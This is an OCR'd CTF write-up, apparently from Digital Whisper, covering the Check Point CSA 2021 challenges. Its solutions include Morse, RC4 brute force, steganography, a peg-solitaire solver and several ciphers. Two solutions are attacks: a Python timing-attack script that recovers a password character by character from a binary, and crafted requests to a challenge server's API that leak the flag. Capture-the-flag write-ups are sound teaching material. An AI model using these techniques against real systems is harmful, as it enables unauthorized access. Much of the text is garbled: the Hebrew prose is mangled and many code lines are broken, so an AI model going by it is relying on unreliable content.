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Grab that flag will you?
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DY python NM9'01 WNNwl .0NINA NI LYalya AMDNN [Dl DU |0 NIKY? [NIY 1nd
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import morse talk as mtalk
enc_msg =



https://github.com/morse-talk/morse-talk
https://github.com/morse-talk/morse-talk

list words = []
for word in enc msg.split( ) :

list words.append (mtalk.decode (word))
print ( .join(list words))

NMIYRAN MIIvn

HELLO WE GOT THE FOLLOWING MESSAGE FROM ONE OF OUR SPIES BUT SHE COULD NOT SPACE
BETWEEN LETTERS AND WORDS WE KNOW SHE WAS TRYING TO SEND A SEQUENCE OF WORDS
AS THEY APPEAR IN THIS BOOK HELP US FIND THE SEQUENCE UNFORTUNATELLY SOME OF TONES
WERE NOT CLEAR SO WE REPLACED THEM WITH X BECAUSE WE WERE NOT SURE IF IT WAS A
DOT OR A LINE

N'YIYUN NIVWN

THE FLAG IS THE SEQUENCE SEPARATED BY UNDERSCORES INSIDE CURLY BRACKETS AFTER UPPER
CASE CSA

72 07 Yo X' (X N'ON XK NN IT) NMIYD NMIYNY 117 120N MIYKRIN MY 7¢ 0070
0NNl NT'NAW 117 YIT qona ,qixnn (book.txt) 190N yalpn 770 X'n nMwn nIwnw [21,0'NIN
NIX N7 "W 117 12010 )27 oI .17 IR DT 7000 X-N DX OWTI' X7 ININY MIX 0T X W
nX mand P? "{" oy ovo "CSA{"-a 7aTh nNX 7'nnnY% "_"-a o'nin 9'7nn% 0oy nnax 7aTn

‘X2 V9 ZOoN

import morse talk as mtalk
import re

enc msg =

with open('files/book.txt') as f:
words = re.findall (

flag = []
tmp enc msg = enc_msg
for word in words:

morse word = mtalk.encode (word) .replace ( , )
enc word = tmp enc msg[:len(morse word) ]
if gll(enciwora[i]7== 'x'" or enciﬁord[iJ == morse word[i] for i in
range (len (enc _word))) :
flag.append (word)
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tmp enc msg = tmp enc msg[len (morse word) :]
if not tmp enc msg:
print ( i .join(flag) + )
break

else:
flag = T[]
tmp enc msg = enc msg
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CSA{still_other_of them_that_are_gone_before}

(n1mi7 100 ,Misc niavj?) README Nanx

:00j70

Readme

readme.zip yaIp 91X NANKY
jNno

Yalzn NX NN9) .key_checker_data ,readme ,solution_checker.py :0'¥ajp nwI7w w' yaipn M2

:solution_checker.py

F“:ﬁ Crypto.Cipher import

Yalpn DX NNYON  AN90 D1 DY AT DRN NPTAY QN9 W' ATh o yalpa
DXY D' N7 2IWRIN TYNN .success N'7'M7 NY NIY'DN OX NPTl 0727w key_checker_data
NIX XIXN7 'O bruteforce N9pPNN 7w 10 YN D™713' 1INIX [121 72TN DX 21TA7 NNWOKR 117 11N

.20 N2 YINN NOPNNAY 'O YIS'NN 2NN NKX D¥NX7 T¥'D |'1n'7 12'7v NYd .7aTn
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:readme Y27 NX NN9)

The flag used to be {hey that is the great puzzle}, but its gone :(

41ic3 3@S b3%91lnnlng T* 93t V3Ry TlrE6 *7 51ttin9 8Y HER 515TER On TH3 b@nK, 42D *7 hAV1In9 20thing T* DO: *2d
5* Sh3 3A5 ©*2S1DErl2S 1In HEr 032 8126 (A5 wELL @5 SHE ©0[le, 70r tH3 h*t 64Y 8A63 h3r F33L VERY 513Epy (@26
ThERE w4S nOThin9 5* VEry r384RKAS8L3 i2 tHAT; 20R Di6 411©3 THI2K it S* v3Ry MuCh OuT OF Th3 34y TO HEGR THJ
In @n*Th3R 808Ent 6032 332T Al11C3 4FtEr 1lt, 2EVEr 020E c*25163r129 h*3 1n THE 3*rL6 Sh3 w45 t* gEt *ut @g4ij
thE R48blt-hOLE 3E2t StrAl%hT *2 L1KE @ t[nn31l FOR 508E 34Y, @n6é ThEn 6i9p3D SuD6EnLY &*3n, S0 5[6D3nly thAf
3ith3r THE w31lL w45 v3rY 6339, Or 5hE FELl1 vERy 51*wLy, 70r 5h3 hAD pl3nTy *F TIME @5 SHE wEnt DOw2 t* 10*%k
'"WELL!" tH*[ShT @11©3 tO0 hEr5ELF, '@7TER S[CH A 7A11 45 thl5, i Sh41ll Thi2K nOtHi2g OF T[88Li29 D*3n STAirS!
DO3n, D*32, D*32. 3*ulé ThE 7ALL 2EV3r c+*8E t* @n EnD! 'l wOné3r H*3 8@2y 811ES 1'vE F41L3n 8Y ThlS tlIM33' j

9rESE2tLY Sh3 bEgA2 A9Q12. 'l w*nDER 17 1 Sh41L 74L1 rlgHT THR*[gh th3 EArTh! HOw 7[22y it'Ll SE3M t* COM3 ¥

Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: on
So she was considering in her own mind (as well as she could, for the hot day made her feel very sleepy and
There was nothing so wvery remarkable in that; nor did Alice think it so very much out of the way to hear thd
In another moment down went Alice after it, never once considering how in the world she was to get out agair
The rabbit-hole went straight on like a tunnel for some way, and then dipped suddenly down, so suddenly thaf]
Either the well was very deep, or she fell very slowly, for she had plenty of time as she went down to look
"Well!"™ thought Alice to herself, "after such a fall as this, I shall think nothing of tumbling down stairs]!
Down, down, down. Would the fall never come to an end! "I wonder how many miles I"wve fallen by this time?" f
Presently she began again. "I wonder if I shall fall right through the earth! How funny it"1ll seem to come

VoL 'vup W Dw' qoi ,{hey_that_is_the_great_puzzle} n'‘nw |w'n 72T NX W' yalpa
MIYXIN NIXY ,NNAIT? — NIMIX ''YN YIN D'NT O'RNIY (NIXTON YIRA 0'7X8N 7119 1nD NRMIY)
11'Y OY 72K 727N NI N WTNN 72TNY 112N D7 .4 N2 naxir A Nf72180 NIRD - D09 D2
NIN YN MINYN XD DMRY DITNWORKRN 707 NIX 7D NIDNT7 1'% 27 .NIRFOODN |2 NNXNN NIFNIRD

197 72w check_key n'xj71190 nirnworn 72

:N2N VDPON NN 11AND DY

with open(“"readme", "r"

data = file.read()
split_data = data.split("
enc_story = split _data[1l].strip()
story = split _data[2].strip()

check_key(key, key_ checker_data):
""" preturns True is the key is correct.

Usage:

check_key('{I_think_this_is_the_key}', key_checker_data)

arc4 = ARC4.new(("CSA" + key).encode())
return arc4.decrypt(key checker_data) == b'success'

flags option =

rec(options, flag= index=0):

if index == 28:
flags_option.append(flag)
return

for o options[index]:
rec(options, flag + o, index + 1)
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mapping = dict()

mapping[" =

flag map = []
for i, char in enumerate(story.lower()):

mapping[char] = mapping.get(char, set())
mapping[char].add(enc_story[i])
for i in "hey_that_is_the_great_puzzle":
flag map.append(list(mapping[i]))
rec(flag map)

for flag in flags_option:
if check_key(f"{{{flag}}}", b"\xE0\x33\x70\x95\xA1\xE5\x31"):
print(f"CSA{{{flag}}}")
break

TIN NI PN INXYT ,UTNN YO D'WOKRN D'INN 727 NIpnn Yopra 0YNN 70 NIK n9nn 090N
TIN Y07 07 ANW 70 DY7RXI0190 D'72TN 70 IR 117 W'D .0Y7RNI0I9N D'22TD 7W NITNWONRND ‘D

11721 17 NMY DRTTAN NXID

CSA{hEY_th@T_I5_thE_9REAT p[zZL3}

(n1m7 100 ,Misc nmiavj?) Strange Game NANN

007V
It's just winning a simple game.
What could go wrong?
nc strange-game.csa-challenge.com 4444

NnoS

Q11X NYY 010)

$ nc strange-game.csa-challenge.com 4444

We take turns picking numbers from 1 to 9.
The same number can't be chosen twice.

First player to hold 3 numbers which, when added, make 15, wins.
If all numbers are exhausted without a winner, the game is a tie.
We will play 15 rounds of this game, alternating who goes first.
Win or tie all 15 rounds and I'1ll give you the flag.

Press any key...
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DN90N NWIPYWT? vanh X' monn dwxd ,9-7 1 2 1%0n NI NN TNR 7 ,0IW9 pnunn
.D'PNYUN WY QMNP NIWY? NINSY IX NX17 12'7Y 1AnNKXN DX NXA7 'O .15 XN Dnipow
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2 7 6 =15
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4 3 8 =15
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2T NR gl

CSA{https://www.youtube.com/watch?v=NHWjlCalrQo}
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https://he.wikipedia.org/wiki/%D7%A8%D7%99%D7%91%D7%95%D7%A2_%D7%A7%D7%A1%D7%9D

(m1Ti?a 180 ,Misc n'11av[?) Pass it on NANN

;00770

Help!
My grandpa lost his password and cannot seem to recall it!

He is very secretive and will not elaborate, but | have heard him complain several times about
how long it takes the program to verify his password.
Weird right?

Pass_it_on.zip Yalj 911xn NANKY
INNo

A'07Q0 DYV MANKN DX 1INDY TWOX DINNY NWAIN SNIXY XN YAl OV 7Nwn oyn "NX
,OTI7 2NN VT 0O'SNNYynnn YNT? X7¢ n"NNY 012 NANK 7'awaw Nn7 1o JX ,'2'0101'R

ANTNT 'R ,misc N'MIA0RA MANKAY [11DNI

AIMD ,ANKRN MIRMAY 11N - timing attack NS N2MIwn "2IXW DAwNNY nyan ,nawnn vyn TNNY?
077 71727 NDINY NRIPY [ATA 7Y NO0IANN N9PNN NIT .NNO0'ON NX P1TA7 20 AT NRI7 NDINYY

‘X2 210NN N'¥21I9 RN ﬁD|7]'lYJ"I OI19'0aNNI

strcmp( , ):
len(password) != len(user_input):
=il
range(len(password)):

password[i] != user_input[i]:
=dl
sleep(100)
(%]

N'YA19N TX [1D1N I NI'R NNO'ON DX - NNO'ON 7w IR 7Y bruteforce NIWY? TWoORY NN
172waw 1IN - 1IN 73 2V bruteforce NIWY7 7211 ,NN0'ON 7 NN NN '2IW YA . TIXA NN ITAN

1IN NN ' =N ANIKN ANXM DX DT"0N N'Y72119N

wmmy niNe

subprocess Popen, PIPE
string

time perf_counter

operator itemgetter

alphabet = string.digits + string.ascii letters + string.punctuation

process = Popen("./pass it on.exe", =PIPE, =PIPE, =PIPE)
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flag = b"CSA{"

time_arr

for i in range(1, 40):
process.stdout.readline()
test = flag + b"A" * i + b"\n"
tl = perf_counter()
process.stdin.write(test)
process.stdin.flush()
process.stdout.readline()
t2 = perf_counter()
time_arr.append((t2-t1, i))

max_time_array = max(time_arr, =itemgetter(Q))
last_time = max_time_array[0]

flag len = max_time_array[1]

print(f"flag length is {flag_len + len(flag)}")

process.terminate()
process = Popen("./pass_it_on.exe", =PIPE,

for i in range(1, flag_len):
time_arr = []
for c in alphabet:
process.stdout.readline()
test = flag + c.encode() + b"?" * (flag len - i - 1) + b"}" + b"\n"
tl = perf_counter()
process.stdin.write(test)
process.stdin.flush()
process.stdout.readline()
t2 = perf_counter()
if (t2 - t1) - last_time >= 0.05:
flag += c.encode()
to_print = flag.decode() + "?" * (flag len - i - 1) + "}"
print(to_print)
last_time = t2 - t1
break
else:
last_time = t2 - t1
print(f"found the flag: {flag.decode() + '}'}")
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DN PIT2) TNX 72 112Yal ,DMWORN DHINN 7D 7V 11av) nnax L71an IR 7V bruteforce NnX

.(n1Mw 0.05 NINSY 7w w19N) MTIZ ™ N'MIynwn 72Im I 1a7 um

V1LL_me55_wlTh_t1imE!]

222710 7V char by char bruteforce niwy'? n71>' nwyn? n7a'y ndd

CSA{1 VI1LL me55 wiTh timkE!}

(m1m;71 180 ,Programming ni1avj?) Beat the map Nanx

:00j70

We got these images with a secret message from one of our agents, but we have no clue where
the flag is hiding.

Can you assist?

.beat_the_map.zip yalj q1xn Nanx?
INNo

-1 second_hint.bmp ,first_hint.omp:0'¥ap nwIw 72711 9A1¥NN zip-n YAl JInN 0PN DR Y7

.challenge.bmp
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NRINN N'9MANMALOY Yand N7W go to-n MNXKA MINNN DX NN9) (UKD TN 7'NN)

stegonline.georgeom.net

StegOnIine Upload CTF Checklist About

Image Options

Reset

| Full Red H Full Green H Full Blue || Inverse (RGB) H LSB Half ]

Extract Files/Data Embed Files/Data Embed B/W Image in Bit Plane
v sings | snow o vaes |

Exit ] [ Preload Bit Planes

M & I T -
A
T MII

2 |
I

Save Current Image

X'D MIMNNY 1N .0-7 T-'R DWW 20i7'0 701 255-7 T DWW 70i7'9 7D NnwY 0NX 11NN
:255-7 0 "2 TNX W 1 W' 70§7'9 707 TN - grayscale
PIL Image
numpy np

Image.open('files/second_hint.bmp")

pixels = list(im.getdata())

new_pixels = [255 pixel & 0x1 == 1 0 pixel pixels]
array = np.array(new_pixels, =np.uint8)

new_image = Image.frombuffer("L", (512, 512), array)
new_image.save('2.bmp")
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https://stegonline.georgeom.net/upload
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RXINNI

amr
0 I = I 0

mr |

:NINQN NNONN NN D'TO'R'IA X¥NAI triangular series 'nn woN)

The triangular numbers are given by the following explicit formulas:

N n(n+1 1
T, :Zk:1+2+3+---+n:(T):(n—2|_ )

k=1

least) Isb-n Nx NnwY N2 DamNa 207'9 D2 - NN NIWYTIN DONONY NR'D0 NN Lsb
701 MIYAYN 1Y 7D X977 ,Nmnn 7w DIMNNN 0'0*a AYTIN NonY? N1 D L(significant bit
N7V |I'0 ,NINNNN DY70{'90 NX X'XINYT *TD PIL N'M9%02 WNNWNY 090 112ND N7NNNA .|'VY7

.Bitmap VNS 7y TIY XNP7 NV7NNI,D'VIVION [N7IYT7 NITN .N7Y

.PIL 090N NUNNYN 1Y [I'¥XN NITIRI VN9 X'D N'YVANY ﬂ]ﬂOYJ'? yan AR oyn MNX

.NINY NIND YaIpn oy TIay7 nu7nni

"'xnn 010 m>d ,hex-editor-2 NAIMNN NX NNO)

82 00 83 83 83 00 84 84 84 00 85 85 85 00 86 86 ,.fff.mwmemun. 11
86 00 87 87 87 00 88 88 88 00 89 89 89 00 8A 8A 1T.33%.7 " .%&%.SS

Template Results - BMP.bt <
Name Value Start Size Color

struct BITMAPFILEHEADER bmfh T |
struct BITMAPINFOHEADER bmih : . Bol
struct RGBQUAD aColors[256] g B}
struct BITMAPLINE lines[512] : Bg:
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https://en.wikipedia.org/wiki/Triangular_number
https://www.geeksforgeeks.org/lsb-based-image-steganography-using-matlab/
https://www.geeksforgeeks.org/lsb-based-image-steganography-using-matlab/
https://en.wikipedia.org/wiki/BMP_file_format
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:0x436 VOOINA 7'NNNVY *-bitmap VP"AIX - lines 7V Lsb-2 wnnwin'? 11'0"1

with open("files/challenge.bmp", "rb") as file:
data = file.read()
triangular = [n * (n + 1) / 2 for n in range(359)]
data = data[0x436: ]
bits list = [d & 9x1 for i, d in enumerate(data) if i in triangular]
bytes_list = [int("".join(map(str, bits_list[i:i + 8])), 2) for i in range(
0, len(bits 1list), 8)]
print("".join([chr(b) for b in bytes list]))

RXINNI

PS C:\Users\orkin\Documents\ctfs_cyber_shit\csa-2021\beat_the_map> python .\solve_final.py

>>>>>CSA{1En4d_YOu_alLm@st_f0013d_mE}<<<<<>>>

AT

CSA{IEn4_YOu_alLmOst_fO0I3d_mE}

(m1mj7 180 ,Programming n11av?) Memento NanNX

;00770

My good friend Leonard created this game.

Leonard told me he hid a flag inside, but doesn’t remember exactly how.
He also gave me the code of the server, so you can take a look.

The flag is in the format CSA{...}

The only possible characters inside {} are lowercase english letters and _ (no numbers, no
uppercase, no special characters).

You have only 5 attempts for submitting the flag.

http://memento.csa-challenge.com:8888

iserver.py YaIpn qai¥n Nanxy

import flag, shortest_path
import random, json, base64

def verify_game( , )

card_number = random.randint(1l, 20)

board obj = base64.b64decode(json.loads(board))
indexes = []

for i in range(5):
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board obj[i][j] == card_number:
indexes.append([i, j])

shortest = shortest_path(indexes[@], indexes[1], board, "UP|DOWN|LEFT|R
IGHT")
shortest shortest.length - 1
result =
shortest == (flag[level] % 9) + 1:
result =
result

NN W'Y AR L,DND 7w dev-tools-a Network tab-n X 1INN91 ,117 NI NXN DX DNND
:endpoint-7 get niwp

http://memento.csa-challenge.com:7777/verifygame

AYUND ,NIYpIN N1V , 0" T'71 DN DN ¢TI TXI NINI? V11'Aan 120101 1'7R MNRNY ,)2 OX NXM]

'nnnY? 7' pnwnn 791 01 NN

=~ & ement reole ees Network A
® 0 ¥ Q wche Nothrotting v T | £ ¥

rvert Hide data URLs All  [Fetch/XHR JS CSS Img Media Font Doc WS Wasm Manifest Other Has blocked cookies Blocked Requests 3rd-party req

Level 1

n n n n n n n a Name Status Type nitiator Size Time Waterfall
s ASMT... | 2 fetch =m
J e fetc ]
0 fetch ]
fet B
00000808 . -
ferch ]
fetch n
0 fetc 266 L]
... | 2 fetch 66 »
800080088 et il o = | e .
QsNi ISwazl 200 fetch mal 1 266 B 63 ms »
[0 eygamei-O8bonrWiotiys DiscsmoCus ADMTE-| 200 loch — manetrmaune | sl soms ]

:base64-1 N7w1 NI7N 7Y a1x'N 9010

board: W1sxNywxMywylDE4LDISMTQSMTESMV@sWzgsMTksMTMSMTESNyw1LDMsNF@sWzYsMTQsMjASMTgsMTYsOCw2LD1dLF
SOLDcSNSWxMiwxLDE2LDEWLDEWXSxbMTUSMTIsMjAsMywxNywSLDE1LDESXVe=

N0 NI 12 VNN NN DRI decode NWY)

orkinyo@DESKTOP-
CTEHDRV:/mnt/c/Users/orkin/Documents/ctfs cyber shit/csa-

2021 /Memento$ echo "W1lsxNywxMywyLDE4LDIsSMTQsMTE
sMV0sWzgsMTksMTMsMTEsNywl1LDMsNFOsWzYsMTQsMjAsMTgsMTYsOCw2LD1dLFEsO

LDcsNSwxMiwxLDE2LDEwWLDEwWXSxPbMTUsSMTIsMjAsMywxNyw5LDE1LDE

5Xv0=" | baseo6cd -d
(r17,13,2,18,2,14,11,11,18,19,13,11,7,5,3,41,1(6,14,20,18,16,8,6,9
l,14,7,5,12,1,16,10,101,[15,12,20,3,17,9,15,19]11
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http://memento.csa-challenge.com:7777/verifygame

JINno
.8*%5 11'n nINIn 7TIa,1N'N1Y7 NiNi oy LA T700 NYXIan 1A endpoint-7 Nias7 0715t 1nnax

121" NINI7 210 17'K 'an? 11'7Y ,aNRN 7Y 72T7 nion'Nn W'y 0'RN 1INIX ,N17 79 xT2n Tipa
NXIN ,20-7 1 2 "78nImN 09w 190NN WN1AY card_number ,N'WUKXY 72T DX ' TRY 117 VY
7> .O'RN YT 019 ,0'09NA NIN 7D NR XY D1 - D OX .shortest 7w wn DX vaIpw

.D'09N 'K DAY D'ININ D'RNN YN 77 YyoOwIn NifnY 2211 ,09X n'n' X7 071V7w card_number

NIHY D' 28NN 19000 DX L,20-7 1 2 '78NImN 190N 0'WY 7011 0NN D'RNN Y DIN]
-7 NNw A INRImIN 1%0nNn X DNY DN D'RNN W 2 pnannl card_number?
N7 0D NN NIRTHA YT TR result == 1 naw nwpa? mawn 727 ™™ (flag[level] % 9) + 1
2ATNY NIRUN IR 07 NIY PN NIRT) 72TN 7w level OpTI'RA 72T 1IN 7w DMIWORN DDIVN
QYo 'R 27 ,9-7 1 |2 71 nirn'%? 213' shortest-w 27 m'w .(IMNN qpEnnl NRVR DIMIKA 2 201N

.9-n 7ITa 0"7XNITINN DNI901N |2 7NN 0NAY NINIY NI7wY

2Y1) TUN RNITNN 190NN NRE YN 0,0 OPTI'RA TN [IWXIN '7XNITINN 190NN NX D'W)

:0,0-n DY D'7NINA ,]IVNA DINYWNA D'OPTI'RA (W INIK

base64
string
random

requests

create_board( , ):
card = random.randint(1, 20)
pool = [card, ©, 0, ©, ©, 0, 0, 0, 0, ©, ©, ©, 0, 0, 0, 0, ©, ©, @, @, 0, 0, 0, O,
0, 9, 0, 9, 0, 9, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0]
pool[index] = card
board = [[], [], [], [1, [1]
i range(5):
j range(8):

board[i].append(pool[i * 8 + j])
board64 = base64.b64encode(board. str_ ().replace(' ', '').encode()).decode()

r = requests.get(f"http://memento.csa-
challenge.com:7777/verifygame?level={level }&board={board64}")

r.text, board

Check Point CSA - 2021ManX N1T0
www.DigitalWhisper.co.il
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possible char(

pos = []
i string.ascii_lowercase + " "
ord(i[@]) % 9 + 1 == path:
pos.append(i)
pos

main():
level range(4, 25):
index = 36
is_valid = '@’
is_valid == '@":
index += 1
is_valid, board = create_board(level, index)
index = index % 39
path = index % 8 + int(index / 8)
print(possible_char(path))

[N 38 XIN TR TN )WwN2 opnn oOpTI'RNY 17 m'w) 9-7 1 | o'gnnn v 1wl )
nNIX 7 CSA{} NP2 N'n ATAYW DWTI' INIX,90M .(9-n 7ITa 39-7 0 |2 PN INNRY
XNID NI72 DONX DT 97 0,0 A pnnny 17 m'w .24-% 4 2 i levels-n NX D'pTR

.index % 8 + int(index / 8)

N2D NXNIY NI .y-N 'Y 7NN DX index / 8-1 x-n 1'¥a 7NN DX ax' Index % 8
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JNNON NX YNMIWI NIRAN NI'NYOXN NX '7J|7]

"kin\Documents\ctfs_cyber_shit} \Memento> python .\memento.py

*277 nyan 91027 ,0'winan pnwna 7'NNa "oyl

CSA{we_all need_mirrors}
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(m1m;71 300 ,Programming niavj?) Puzz-word NanN

;00770

One of my colleagues just loves puzzles.

He wrote this API that you can send and get a puzzle, and if you can solve it, you get the secret
key to his bitcoin fortune.

We couldn't get it :(

Can you?

You can try it here:

https://puzzword.csa-challenge.com/help

‘XAn VOYLN I71|7]I QANKN IR NY '1IU'|7'7 0101

Hello. to get your puzzle go to /puzzle instead of this /help.

The puzzle is a peg solitaire game. You are probably familiar with it, but if not,

you can read about it online, or even play it here: https://www.webgamesonline.com/peg-solitaire/
When you go to /puzzle, you will get the source and destination, and you will need to provide your solution.
The source will look something like this:

| o000 |

| o000 |

| 0000000 |

|000.000|

| 0000000 |

| o000 |

| o000 |

If you are familiar with this game, or you've just read about it, then you know what you need to do:
The pieces that are marked with 'O' can move above other pieces to an empty spot on the board (marked with '.")
The piece that you are jumping above will be taken out of the board.

You will need to provide the solution that will reach the destination.
The destination will look something like this:

The solution is the series of steps that will get you to the destination.
To describe a step we can use a coordinate system where 0,0 is the top left, 6,0 is top right
0,6 is bottom left and 6,6 is bottom right.

To describe the direction we can just use arrow-like characters:
< means left

> means right

and ~ and v mean up and down

The solution will be an array of moves that you need to send the /solve API
This should be a field in the JSON body of a POST request

Each move has 3 elements: x, y and direction.

For example:

{"solution": [[3,1,"v"], [5,2,"<"],.c.... ,[3,5,"*"]11}

In these first two steps we moved two pieces, and the board now looks something like this:
| ooo |
| 0.0 |
|0000. .0|
| 0000000 |
| 0000000 |
| o000 |
| o000 |

Sending the needed steps to get to the destination will solve the puzzle!

Check Point CSA - 2021ManX N1T0
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backtrack ailon X0 [NN9n 2INIT7'2 N'2'0 NPNT? (D'MNMIATR ANDI) NOI

n'y X7 IN'RN M 210

NINT''UDIN YN DY ,'ONT}?

requests
json

start _url = "https://puzzword.csa-challenge.com/puzzle"
url = "https://puzzword.csa-challenge.com/solve"

PegSolitaireBoard:
__init ( ,
.table = table

move( ] 9 b ) :
.table[y][x] != 1:

== 0 X - 2> 0 .table[y][x - 1]
.table[y][x - 2] == 0:
.table[y][x] = .table[y][x - 1]
.table[y][x - 2] =1

d ==1 X + 2 < len( .table[0])
.table[y][x + 2] == ©:
.table[y][x] = .table[y][x + 1]
.table[y][x + 2] 1

di==2 y - 2>=0 .table[y -
.table[y - 2][x] == @:
.table[y][x] = .table[y - 1][x]
.table[y - 2][x] 1

.table[y][x + 1]

d ==3 y + 2 < len( .table) .table[y + 1][x] == 1

.table[y + 2][x] == 0:
.table[y][x] = .table[y + 1][x]
.table[y + 2][x] 1

unmove ( > Yy X, d):
d == @:
.table[y][x] = .table[y][x - 1]
.table[y][x - 2] 0
d == 1:
.table[y][x] = .table[y][x + 1]
.table[y][x + 2] 0

Check Point CSA - 2021ManN N1TO
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elif d == 2:
self.table[y][x] = self.table[y - 1][x]
self.table[y - 2][x] = ©

elif d == 3:
self.table[y][x] = self.table[y + 1][x]
self.table[y + 2][x] = ©

class PegSolitaireSolver:
def init ( ;
self.board = board

tmp = ©
for row in self.board.table:
for elem in row:
if elem 0:
tmp += 1

self.center_row = len(self.board.table) / 2
self.center_column = len(self.board.table[0]) / 2

self.solution = []
self.target = target

self.num_pegs = -tmp
for row in self.target:
for elem in row:
if elem == 0:
self.num_pegs += 1

back track( , ):
if move == self.num_pegs:
if self.board.table == self.target:
return True
else:
return False

for r in range(len(self.board.table)):
for ¢ in range(len(self.board.table[0])):
for d in range(4):
if self.board.move(r, c, d):

if self.back_track(move + 1):
self.solution.append((r, c, d))
return True

self.board.unmove(r, c, d)

return False

Check Point CSA - 2021ManN N1TO
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def solve( ):
self.solution = []
self.back track(@)
self.solution.reverse()

return self.solution
get solution( , )
p_sol = []

dir_map
Q:

{

1:
2:
3

step in self.solution:
r, c, d = step
p_sol.append([c, r, dir_map[d]])

self.board.move(*step)
return p_sol

def trans(
board = []
for i, row in enumerate(table):
board.append([])
for cell in row:
if cell == '0":
board[i].append(1)
elif cell == ' ':
board[i].append(2)
elif cell == '.'
board[i].append(9)

board

def solve( , )
answer = PegSolitaireSolver(PegSolitaireBoard(board), target)
answer.solve()
return answer.get solution()

Check Point CSA - 2021ManN N1TO

www.DigitalWhisper.co.il
2022 WNxN29 ,136 I'a




Technologic

res = requests.get(start_url)
msg = json.loads(json.loads(res.text)["message"])
while True:

puzzle id = msg["puzzle id"]

b = trans(msg["source _board"])

t = trans(msg["destination_board"])

sol = solve(b, t)
data = {
"puzzle id": puzzle id,
"solution": sol
}
res = requests.post(url, =data)
msg = json.loads(json.loads(res.text)["message"])
print(msg["message"])
if "puzzle_id" not in msg:
break

:NAN U790 NX 72771 91017

this out

find
d time is a

N9X X7 0T '0 X ,NMITNINY NYTIN 7D 7¢ NNRIYRIN DIMIRNON 201y 7270 NIX 0007 11'01

aTh N 7" " oy 72T o' in NR 1907 101 91017

CSA{In_Th30rY_wE_tRuST}
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(n1mi7 100 ,Crypto n'*1av7) D3c0d3M3 Nanx

;00770

WFKZLTABVKWVLXGMASVPYVP2ZRTKVHKV6XGBIJKVEKX44YCVKXBKAXTBDVKSVL2WMACVLOVPE

BXXXII BCCSSAA 13

Can you get to the flag? :)

INNo

2T0 DR ARt IO NAMNA NIKINN IR A1RYT7 1277V ,19%IN VoL 117 NIY NIXYYT DY71D' 1INIX

:DIIYN D7WUN DX N7 7'nna IR

B XXX

X 17 1TNY Nn ,B.32 73711 19007 INIK M L(1=1-1 ,X=10 TWKD) NI NN90 [N -1 X NIMIRD

.base32-1 VOV 7w TIT' IND NX1A |OX¥INN LOZLVN fONA ,32 0'02

BCCS5AA

27 NNTIEN N71V90 W ARYINN 2 xor NIWYY? 1'7V 17D ,xor n71yon 7w 7non Xin @ 7non

B

.Oxcc55aa

.rot13 nITpn |9I¥N NX TR DT 'No

-N DX 72771 NI71Iyon N .CyberChef 11'7y naInkn nTyon? 171 ,011%wn 7D NX ' T W'wn NYd
I D'RIN NNIX 722D @ utf-16 TIT'R INTY 11N X ,(Q190) 1DIN2 X¥N1 72TNW XTI .NAN output

QTN
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https://en.wikipedia.org/wiki/Base32
https://he.wikipedia.org/wiki/ROT13
https://gchq.github.io/CyberChef
https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)XOR(%7B'option':'Hex','string':'cc55aa'%7D,'Standard',false)ROT13(true,true,false,13)&input=V0ZLWkxUQUJWS1dWTFhHTUFTVlBZVlAyWlJUS1ZIS1Y2WEdCSktWRUtYNDRZQ1ZLWEJLNFhUQkRWS1NWTDJXTUFDVkxPVlBFWlFKMlZIQ1Y
https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)XOR(%7B'option':'Hex','string':'cc55aa'%7D,'Standard',false)ROT13(true,true,false,13)&input=V0ZLWkxUQUJWS1dWTFhHTUFTVlBZVlAyWlJUS1ZIS1Y2WEdCSktWRUtYNDRZQ1ZLWEJLNFhUQkRWS1NWTDJXTUFDVkxPVlBFWlFKMlZIQ1Y

.O'N2N D'A'DNN NX |DJ'\YJ'7 9'on

Recipe B mE mput T 3 + 03
PO WFKZLTABVKWVL XGMASVPYVP2ZRTKVHKVEXGE IKVEKX44YCVKXBKAXTBOVK SVL 2WMACVLOVPEZQI 2VHCY
A-22-7
Remove non-alphabet chars
XOR
cc55aa
.Sm.m'mrri D Null preserving
ROT13

Rotat

chars

Rotate upper case
| b [ Rotate numbers
chars

Ba0®

Output

o CSA{H@ving_FuN_D3CBDinG?}
Decode text

UTF-16LE (1200)

Reverse
Character
-
STEP . BAKE!

Auto Bake

>l N arakall

CSA{H@ving_FuN_D3CO0DIinG?}

(m1mi72 180 ,Crypto NMIAL}?) cg_cq_cq NANX

'N2AN DINN DY A_Message_from_Mr._Phillips.txt :yalzn qaIx |2 X XN Q¥ X7 1ANK7

= A_Message_from_Mr._Phillips.txt X

from_Mr._Phillips > = A from_Mr_Phillip
10:38 18 -> CQ
FROM MISTER PHILLIPS TO ALL AGENTS STOP PLEASE UPDATE STOP

10:42 33 -> 18
FROM AGENT THREE FOUR SEVEN TO MISTER PHILLIPS STOP ALL IS READY STOP NEED FLAG STOP

11:17 18 -> CQ

HSVNN PBLMS XATWW PEBXT CRRCP MULAA LCDLO MGRKI
PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
FLTSR ATSKE ERQBB XTE
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https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)XOR(%7B'option':'Hex','string':'cc55aa'%7D,'Standard',false)ROT13(true,true,false,13)Decode_text('UTF-16LE%20(1200)')Reverse('Character')&input=V0ZLWkxUQUJWS1dWTFhHTUFTVlBZVlAyWlJUS1ZIS1Y2WEdCSktWRUtYNDRZQ1ZLWEJLNFhUQkR

Technologic

:JNNo

(CQ-2 wiM'wi '® 7y NINT I70N) I'TY MIYPN 701 1727w yalpnw nXM
."Phillips Cipher" y'mon |9IX2 X1j71W KN [DI¥N X K¥N1 721212 %7 WI9'N INXT

2V N2 T bruteforce NIWY7 TX'D 112N ,|9I¥N NIYXARL VOV |9XIN 12 [9IRN 7Y AR INRYT
,"FROM MISTER PHILLIPS TO ALL AGENTS STOP" vojLa 7'nnn [9IXNW 117 VIT 707 QO ,|9I¥N
INAN DN DX RYN AT RN'RN DON' YIIRY 0'7) NN 72122 ¥ 901 W19 ANKY7 X
[frommisterphillipstoallagentsstop 7w (VIT plaintext WiI73) crib-n NX 757 N1 .CryptoCrack

:NAIYNN NIX KXNA 720 NITTIA NIY XY

[§ CryptoCrack _ O X
- Home Edit Tools Statistics Word Search Support o
